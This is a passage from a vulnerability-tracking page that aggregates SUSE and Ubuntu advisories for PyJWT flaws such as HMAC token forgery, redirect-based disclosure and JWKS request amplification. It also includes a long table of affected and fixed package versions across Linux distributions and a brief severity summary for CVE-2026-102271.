- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
- Record
SUSE-SU-2026:24134-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:24219-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues:
- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).
- Record
SUSE-SU-2026:24219-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:24377-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues:
- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).
- Record
SUSE-SU-2026:24377-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:5064-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues:
- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
- Record
SUSE-SU-2026:5064-1- Updated
- 2026-11-03
OSVUSN-8916-1 No score
pyjwt vulnerabilities
YuSung Han discovered that PyJWT did not properly validate certain JWK keys when performing HMAC verification. An attacker could possibly use this issue to forge authentication tokens. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-102266)
Rohan Das discovered that PyJWT incorrectly handled redirects when fetching key sets. A remote attacker could possibly use this issue to cause PyJWT to disclose sensitive information. This issue only affected Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, Ubuntu 26.04 LTS. (CVE-2026-102267)
It was discovered that PyJWT incorrectly recognized certain PEM representations. An attacker who knew the public key could possibly use this issue to forge authentication tokens. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, Ubuntu 26.04 LTS. (CVE-2026-102268)
Nuno Lopes discovered that PyJWT incorrectly handled DER public keys when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102271)
It was discovered that PyJWT did not properly handle certain JWK keys prefixed with a byte-order mark. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102272)
Charles Vosburgh discovered that PyJWT incorrectly handled certain JWK containers when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102273)
- Record
USN-8916-1- Updated
- 2026-11-02
OSVUSN-8916-2 No score
pyjwt vulnerabilities
USN-8916-1 fixed vulnerabilities in PyJWT. This update provides the corresponding fix for PyJWT on Ubuntu 26.10.
Original advisory details:
YuSung Han discovered that PyJWT did not properly validate certain JWK keys when performing HMAC verification. An attacker could possibly use this issue to forge authentication tokens. (CVE-2026-102266)
Rohan Das discovered that PyJWT incorrectly handled redirects when fetching key sets. A remote attacker could possibly use this issue to cause PyJWT to disclose sensitive information. (CVE-2026-102267)
It was discovered that PyJWT incorrectly recognized certain PEM representations. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102268)
Nuno Lopes discovered that PyJWT incorrectly handled DER public keys when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102271)
It was discovered that PyJWT did not properly handle certain JWK keys prefixed with a byte-order mark. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102272)
Charles Vosburgh discovered that PyJWT incorrectly handled certain JWK containers when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102273)
- Record
USN-8916-2- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pyjwtPyPI |
2.4.0 up to 2.14.0 | 2.14.0 |
fence-agents-aliyunAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-allAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-amt-wsAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-apcAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-apc-snmpAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-awsAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-azure-armAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-bladecenterAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-cisco-ucsAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
Show 134 moreShow less
| Package | Affected | Fixed |
|---|---|---|
fence-agents-commonAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-computeAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-drac5AlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-gceAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-hpbladeAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-ibm-powervsAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-ibm-vpcAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-ibmbladeAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-ifmibAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-ilo-moonshotAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-ilo-mpAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-kdumpAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-kubevirtAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-lparAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-mpathAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-nutanix-ahvAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-openstackAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-redfishAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-rhevmAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-rsaAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-scsiAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-virshAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-vmware-restAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-virtAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-virtd-libvirtAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-virtd-multicastAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-virtd-serialAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
ha-cloud-supportAlmaLinux:9 From an advisory covering 5 CVEs |
before 4.10.0-110.el9_8.8 | 4.10.0-110.el9_8.8 |
fence-agents-aliyunAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-allAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-amt-wsAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-apcAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-apc-snmpAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-awsAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-azure-armAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-bladecenterAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-brocadeAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-cisco-mdsAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-cisco-ucsAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-commonAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-drac5AlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-eaton-snmpAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-emersonAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-epsAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-gceAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-heuristics-pingAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-hpbladeAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-ibm-powervsAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-ibm-vpcAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-ibmbladeAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-ifmibAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-ilo-moonshotAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-ilo-mpAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-ilo-sshAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-ilo2AlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-intelmodularAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-ipduAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-ipmilanAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-kdumpAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-kubevirtAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-lparAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-mpathAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-nutanix-ahvAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-openstackAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-redfishAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-rhevmAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-rsaAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-rsbAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-sbdAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-scsiAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-virshAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-vmware-restAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-vmware-soapAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-wtiAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-agents-zvmAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-virtAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-virtdAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-virtd-cpgAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-virtd-libvirtAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-virtd-multicastAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-virtd-serialAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
fence-virtd-tcpAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
ha-cloud-supportAlmaLinux:10 From an advisory covering 5 CVEs |
before 4.16.0-21.el10_2.7 | 4.16.0-21.el10_2.7 |
python-jwtAzure Linux:3 |
before 2.15.1-1 | 2.15.1-1 |
py3-jwtAlpaquita:25 |
2.10.1-r0 up to 2.15.1-r0 | 2.15.1-r0 |
py3-jwtAlpaquita:stream |
2.8.0-r1 up to 2.15.1-r0 | 2.15.1-r0 |
pyjwtTuxCare:PyPI From an advisory covering 6 CVEs |
2.10.1 up to 2.10.1.post5+tuxcare, plus listed versions 2.10.1.post1+tuxcare2.10.1.post2+tuxcare2.10.1.post3+tuxcare2.10.1.post4+tuxcare |
2.10.1.post5+tuxcare |
pyjwtTuxCare:PyPI From an advisory covering 6 CVEs |
2.8.0 up to 2.8.0.post4+tuxcare, plus listed versions 2.8.0.post1+tuxcare2.8.0.post2+tuxcare2.8.0.post3+tuxcare |
2.8.0.post4+tuxcare |
pyjwtTuxCare:PyPI From an advisory covering 2 CVEs |
2.3.0 up to 2.3.0.post5+tuxcare, plus listed versions 2.3.0.post1+tuxcare2.3.0.post2+tuxcare2.3.0.post3+tuxcare2.3.0.post4+tuxcare |
2.3.0.post5+tuxcare |
pyjwtTuxCare:PyPI |
1.7.1 up to 1.7.1.post5+tuxcare, plus listed versions 1.7.1.post1+tuxcare1.7.1.post2+tuxcare1.7.1.post3+tuxcare1.7.1.post4+tuxcare |
1.7.1.post5+tuxcare |
pyjwtDebian:12 |
All versions, plus listed versions 2.10.1-12.10.1-22.10.1-32.10.1-42.11.0-2 Show 8 moreShow less2.12.1-12.13.0-12.14.0-12.15.0-12.15.1-12.6.0-12.6.0-1+deb12u12.7.0-1 |
None known |
pyjwtDebian:13 |
All versions, plus listed versions 2.10.1-22.10.1-2+deb13u12.10.1-32.10.1-42.11.0-2 Show 5 moreShow less2.12.1-12.13.0-12.14.0-12.15.0-12.15.1-1 |
None known |
pyjwtDebian:14 |
before 2.14.0-1, plus listed versions 2.10.1-22.10.1-32.10.1-42.11.0-22.12.1-12.13.0-1 |
2.14.0-1 |
pyjwtPyPI |
2.4.0 up to 2.14.0, plus listed versions 2.10.02.10.12.11.02.12.02.12.1 Show 6 moreShow less2.13.02.5.02.6.02.7.02.8.02.9.0 |
2.14.0 |
python-jwtopenEuler:24.03-LTS-SP3 From an advisory covering 3 CVEs |
before 2.8.0-6.oe2403sp3 | 2.8.0-6.oe2403sp3 |
python-jwtopenEuler:24.03-LTS-SP4 From an advisory covering 3 CVEs |
before 2.8.0-6.oe2403sp4 | 2.8.0-6.oe2403sp4 |
python-jwtopenEuler:22.03-LTS-SP4 From an advisory covering 3 CVEs |
before 2.3.0-8.oe2203sp4 | 2.3.0-8.oe2203sp4 |
python-jwtopenEuler:24.03-LTS-SP1 From an advisory covering 3 CVEs |
before 2.8.0-6.oe2403sp1 | 2.8.0-6.oe2403sp1 |
fence-agentsRocky Linux:9 From an advisory covering 5 CVEs |
before 0:4.10.0-110.el9_8.8 | 0:4.10.0-110.el9_8.8 |
fence-agentsRocky Linux:10 From an advisory covering 5 CVEs |
before 0:4.16.0-21.el10_2.7 | 0:4.16.0-21.el10_2.7 |
pyjwtRoot:PyPI |
before 2.13.0+aikido.1 | 2.13.0+aikido.12.12.1+aikido.1 |
PyJWTRoot:PyPI |
before 2.12.1+aikido.5 | 2.12.1+aikido.52.13.0+aikido.1 |
python-PyJWTSUSE:Linux Micro 6.2 From an advisory covering 10 CVEs |
before 2.12.1-160000.3.1 | 2.12.1-160000.3.1 |
python-PyJWTSUSE:Linux Micro 6.0 From an advisory covering 9 CVEs |
before 2.9.0-159998.1.1 | 2.9.0-159998.1.1 |
python-PyJWTSUSE:Linux Enterprise Server 16.0 From an advisory covering 10 CVEs |
before 2.12.1-160000.3.1 | 2.12.1-160000.3.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 10 CVEs |
before 2.12.1-160000.3.1 | 2.12.1-160000.3.1 |
python-PyJWTSUSE:Linux Micro 6.1 From an advisory covering 10 CVEs |
before 2.12.1-slfo.1.1_3.1 | 2.12.1-slfo.1.1_3.1 |
python-PyJWTSUSE:Linux Enterprise Module for Public Cloud 15 SP4 From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
python-PyJWTSUSE:Linux Enterprise Module for Python 3 15 SP7 From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 8 CVEs |
before 2.8.0-150400.8.20.1 | 2.8.0-150400.8.20.1 |
pyjwtUbuntu:Pro:16.04:LTS |
before 1.3.0-1ubuntu0.1+esm3, plus listed versions 1.0.0-0ubuntu11.3.0-11.3.0-1ubuntu0.11.3.0-1ubuntu0.1+esm11.3.0-1ubuntu0.1+esm2 |
1.3.0-1ubuntu0.1+esm3 |
pyjwtUbuntu:Pro:18.04:LTS |
before 1.5.3+ds1-1ubuntu0.1+esm3, plus listed versions 1.4.2-1.11.5.3+ds1-11.5.3+ds1-1ubuntu0.11.5.3+ds1-1ubuntu0.1+esm11.5.3+ds1-1ubuntu0.1+esm2 |
1.5.3+ds1-1ubuntu0.1+esm3 |
pyjwtUbuntu:Pro:20.04:LTS |
before 1.7.1-2ubuntu2.1+esm3, plus listed versions 1.7.0-21.7.1-11.7.1-2ubuntu11.7.1-2ubuntu21.7.1-2ubuntu2.11.7.1-2ubuntu2.1+esm11.7.1-2ubuntu2.1+esm2 |
1.7.1-2ubuntu2.1+esm3 |
pyjwtUbuntu:22.04:LTS |
before 2.3.0-1ubuntu0.5, plus listed versions 1.7.1-2ubuntu22.1.0-12.3.0-12.3.0-1ubuntu0.12.3.0-1ubuntu0.22.3.0-1ubuntu0.32.3.0-1ubuntu0.4 |
2.3.0-1ubuntu0.5 |
pyjwtUbuntu:24.04:LTS |
before 2.7.0-1ubuntu0.3, plus listed versions 2.7.0-12.7.0-1ubuntu0.12.7.0-1ubuntu0.2 |
2.7.0-1ubuntu0.3 |
pyjwtUbuntu:26.10 |
before 2.13.0-1ubuntu1, plus listed versions 2.10.1-4ubuntu12.12.1-12.13.0-1 |
2.13.0-1ubuntu1 |
pyjwtUbuntu:26.04:LTS |
before 2.10.1-4ubuntu1.2, plus listed versions 2.10.1-22.10.1-32.10.1-3build12.10.1-42.10.1-4ubuntu12.10.1-4ubuntu1.1 |
2.10.1-4ubuntu1.2 |
pyjwtUbuntu:Pro:16.04:LTS From an advisory covering 6 CVEs |
before 1.3.0-1ubuntu0.1+esm3, plus listed versions 1.0.0-0ubuntu11.3.0-11.3.0-1ubuntu0.11.3.0-1ubuntu0.1+esm11.3.0-1ubuntu0.1+esm2 |
1.3.0-1ubuntu0.1+esm3 |
pyjwtUbuntu:Pro:18.04:LTS From an advisory covering 6 CVEs |
before 1.5.3+ds1-1ubuntu0.1+esm3, plus listed versions 1.4.2-1.11.5.3+ds1-11.5.3+ds1-1ubuntu0.11.5.3+ds1-1ubuntu0.1+esm11.5.3+ds1-1ubuntu0.1+esm2 |
1.5.3+ds1-1ubuntu0.1+esm3 |
pyjwtUbuntu:Pro:20.04:LTS From an advisory covering 6 CVEs |
before 1.7.1-2ubuntu2.1+esm3, plus listed versions 1.7.0-21.7.1-11.7.1-2ubuntu11.7.1-2ubuntu21.7.1-2ubuntu2.11.7.1-2ubuntu2.1+esm11.7.1-2ubuntu2.1+esm2 |
1.7.1-2ubuntu2.1+esm3 |
pyjwtUbuntu:22.04:LTS From an advisory covering 6 CVEs |
before 2.3.0-1ubuntu0.5, plus listed versions 1.7.1-2ubuntu22.1.0-12.3.0-12.3.0-1ubuntu0.12.3.0-1ubuntu0.22.3.0-1ubuntu0.32.3.0-1ubuntu0.4 |
2.3.0-1ubuntu0.5 |
pyjwtUbuntu:24.04:LTS From an advisory covering 6 CVEs |
before 2.7.0-1ubuntu0.3, plus listed versions 2.7.0-12.7.0-1ubuntu0.12.7.0-1ubuntu0.2 |
2.7.0-1ubuntu0.3 |
pyjwtUbuntu:26.04:LTS From an advisory covering 6 CVEs |
before 2.10.1-4ubuntu1.2, plus listed versions 2.10.1-22.10.1-32.10.1-3build12.10.1-42.10.1-4ubuntu12.10.1-4ubuntu1.1 |
2.10.1-4ubuntu1.2 |
pyjwtUbuntu:26.10 From an advisory covering 6 CVEs |
before 2.13.0-1ubuntu1, plus listed versions 2.10.1-4ubuntu12.12.1-12.13.0-1 |
2.13.0-1ubuntu1 |
python-PyJWTopenSUSE:Leap 16.0 From an advisory covering 10 CVEs |
before 2.12.1-160000.3.1 | 2.12.1-160000.3.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases, references | OSV | |
| affected | ||
| affected, aliases, references | OSV | |
| affected, aliases, references | OSV | |
| affected, aliases, facts, references | OSV | |
| affected, aliases | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-102271 is a high vulnerability (CVSS 7.4) in Jpadilla Pyjwt, published September 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.21%, the 11th percentile. Fixed in pyjwt 2.14.0.
References
